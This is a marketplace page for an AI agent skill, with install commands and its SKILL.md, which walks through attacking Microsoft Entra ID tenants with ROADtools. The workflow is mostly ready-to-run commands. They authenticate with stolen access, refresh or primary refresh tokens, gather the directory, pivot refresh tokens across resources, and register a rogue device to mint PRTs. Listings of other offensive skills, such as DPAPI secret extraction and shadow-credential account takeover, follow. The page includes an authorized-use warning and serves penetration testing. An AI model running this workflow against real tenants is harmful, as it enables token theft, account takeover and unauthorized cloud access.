Mmcp.market

attacking-entra-id-with-roadtools skill

by mukul975·mukul975/Anthropic-Cybersecurity-Skills·34k stars·Apache-2.0

Enumerate Microsoft Entra ID (Azure AD) tenants with ROADrecon and

A100/100content scan

Is the attacking-entra-id-with-roadtools skill safe?

Clean: nothing in its files matched our rules. We read 5 files in the folder on 2026-09-28.

No findings.

Install the attacking-entra-id-with-roadtools skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git /tmp/Anthropic-Cybersecurity-Skills
mkdir -p ~/.claude/skills
cp -r /tmp/Anthropic-Cybersecurity-Skills/skills/attacking-entra-id-with-roadtools ~/.claude/skills/attacking-entra-id-with-roadtools
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Attacking Entra ID with ROADtools

Authorized use only: ROADtools interacts with live Microsoft Entra ID (Azure AD) tenants and can register devices, mint and exchange tokens, and enumerate directory objects. Use it solely against tenants you own or are explicitly authorized in writing to test. Unauthorized access to a cloud tenant is illegal.

Overview

ROADtools (by Dirk-jan Mollema) is the de facto offensive toolkit for Microsoft Entra ID. It has two main components:

  • ROADrecon — authenticates to Entra ID, gathers the full directory into a local SQLite database via the Azure AD Graph API, and serves an Angular GUI to explore users, groups, roles, applications, service principals, conditional-access policies, and device objects offline. A plugin system exports to BloodHound and analyzes CA policies.
  • roadtx (ROADtools Token eXchange) — acquires and exchanges Entra-issued tokens across the many OAuth flows (ROPC, device code, auth-code, refresh-token exchange, app/federated app), performs device registration, and handles Primary Refresh Token (PRT) operations including PRT-based SSO and cookie minting. Its FOCI (Family of Client IDs) awareness lets a refresh token for one first-party client be redeemed for another resource.

Together they cover the Discovery phase against cloud identity: enumerate the tenant (T1087.004 Account Discovery: Cloud Account) and obtain/manipulate the tokens needed to reach Microsoft Graph, Azure Resource Manager, and other resources. ROADrecon's offline database makes recon stealthy and fast; roadtx makes token theft, PRT abuse, and cross-resource pivoting practical.

When to Use

  • During an authorized Azure / Entra ID red-team or cloud penetration test.
  • When you have a foothold credential, refresh token, or PRT and need to enumerate the tenant.
  • When you must pivot a token from one resource (e.g., Azure CLI) to another (e.g., Microsoft Graph).
  • When validating that conditional-access, device-compliance, and token controls actually constrain an attacker.
  • When mapping Entra attack paths (export to BloodHound for graph analysis).

Prerequisites

  • Written authorization and defined scope for the target tenant.
  • A starting credential: username/password (no MFA flows), a device code session, a refresh/access token, or a registered device's PRT.
  • Python 3.7+ (roadtx Selenium flows need a matching geckodriver/Firefox).
# Core install (roadlib is a shared dependency, pulled in automatically)
python -m pip install roadrecon
python -m pip install roadtx
# Verify
roadrecon --help
roadtx --help

Objectives

  • Authenticate to Entra ID via the appropriate flow (device code preferred for MFA).
  • Gather the full directory with ROADrecon and analyze it in the GUI.
  • Export the directory to BloodHound and run CA-policy analysis plugins.
  • Acquire tokens with roadtx and exchange refresh tokens across resources/clients.
  • Demonstrate PRT-based SSO and document the resulting access.

MITRE ATT&CK Mapping

Workflow

Step 1: Authenticate with ROADrecon

Pick the flow that matches your foothold. Device code supports MFA; ROPC (-u/-p) does not.

# Username/password (legacy, no MFA)
roadrecon auth -u user@tenant.onmicrosoft.com -p 'Password123!'

# Device-code flow (supports MFA)
roadrecon auth --device-code

# From a stolen access or refresh token
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# From a PRT (with session key) for SSO-grade access
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

Authentication writes .roadtools_auth in the working directory.

Step 2: Gather the directory

# Full gather into roadrecon.db (default)
roadrecon gather

# Include MFA/auth-method details (requires a privileged role)
roadrecon gather --mfa

Step 3: Explore in the GUI

roadrecon gui
# Browse to http://127.0.0.1:5000 — users, groups, roles, applications,
# service principals, devices, and conditional-access policies, all offline.

Step 4: Run analysis plugins

# Analyze conditional-access policies
roadrecon plugin policies -h
roadrecon plugin policies

# Export the gathered data to a BloodHound-importable format
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

Step 5: Acquire tokens with roadtx

# ROPC: get a Microsoft Graph token for the Azure CLI client
roadtx gettokens -u user@tenant.com -p 'Password123!' -c azcli -r msgraph

# Device-code style interactive auth for the Teams client to Graph
roadtx interactiveauth -c msteams -r msgraph

# From an existing refresh token
roadtx gettokens --refresh-token <refresh_token> -r msgraph

Tokens are written to .roadtools_auth (use --tokens-stdout to print).

Step 6: Exchange refresh tokens across resources (FOCI pivot)

A FOCI refresh token obtained for one first-party client can be redeemed for another resource without re-auth.

# Convert the stored refresh token to an Azure Resource Manager token
roadtx refreshtokento -r azrm

# Convert to a scoped Graph token via the Teams client
roadtx refreshtokento -c msteams -r msgraph

# Find which first-party clients hold a given scope
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

Step 7: Device registration and PRT-based SSO

# Register a (virtual) device to the tenant
roadtx device -n redteam-device

# Request a PRT using the device cert/key and user creds
roadtx prt -u user@tenant.com -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# Use the PRT to authenticate a client to a resource (SSO-grade)
roadtx prtauth -c msteams -r msgraph

# Enrich a PRT with an interactive MFA claim
roadtx prtenrich -u user@tenant.com

Step 8: Inspect tokens

# Decode and print claims of the stored / a supplied token
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

Tools and Resources

Validation Criteria

  • [ ] Authenticated to the target tenant via an authorized flow; .roadtools_auth created.
  • [ ] Directory gathered into roadrecon.db (with --mfa where role allows).
  • [ ] GUI explored; users, groups, roles, apps, CA policies reviewed.
  • [ ] CA-policy and BloodHound plugins executed; data exported.
  • [ ] Tokens acquired with roadtx for at least one resource.
  • [ ] Refresh-token exchange to a second resource demonstrated (FOCI pivot).
  • [ ] Device registered and PRT-based SSO demonstrated (where in scope).
  • [ ] Token claims inspected with roadtx describe.
  • [ ] Findings and access documented for the engagement report.

More skills from mukul975/Anthropic-Cybersecurity-Skills

  • Aabusing-dpapi-for-credential-accessExtract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
  • Aabusing-shadow-credentials-for-privescTake over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
  • Aachieving-cmmc-level-2-compliancePrepare a defense-contractor environment for CMMC Level 2 certification: scope CUI and FCI, implement the 110 NIST SP 800-171 Rev 2 security requirements across 14 families, compute the SPRS score with the DoD Assessment Methodology, manage a compliant POA&M, and ready the organization for a C3PAO assessment. Use when an organization handles Controlled Unclassified Information (CUI) under a DoD contract, when a contract carries DFARS clause 252.204-7012/7019/7020/7021, when preparing for or responding to a CMMC assessment, when computing or improving an SPRS score, when building a System Security Plan or POA&M for 800-171, or when scoping which systems are in the CUI boundary. Keywords: CMMC, CMMC Level 2, NIST 800-171, SP 800-171 Rev 2, CUI, FCI, SPRS, DFARS 7012, C3PAO, POA&M, System Security Plan, DoD Assessment Methodology, 110 controls, defense industrial base, DIB, FedRAMP equivalency.
  • Aacquiring-disk-image-with-dd-and-dcflddCreate forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
  • Aanalyzing-active-directory-acl-abuseDetect dangerous ACL misconfigurations in Active Directory using ldap3
  • Aanalyzing-android-malware-with-apktoolPerform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.
  • Danalyzing-api-gateway-access-logs'Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect
  • Aanalyzing-apt-group-with-mitre-navigatorQuery ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups' TTPs for detection-gap analysis. Use to compare threat-actor technique coverage, find gaps in detection engineering, or produce Navigator visualizations for threat-intel reporting.
  • Aanalyzing-azure-activity-logs-for-threats'Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query
  • Aanalyzing-bootkit-and-rootkit-samples'Analyzes bootkit and advanced rootkit malware infecting the Master
  • Aanalyzing-browser-forensics-with-hindsightParse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user's web activity from a browser profile.
  • Aanalyzing-campaign-attribution-evidenceSystematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

All agent skills → · MCP servers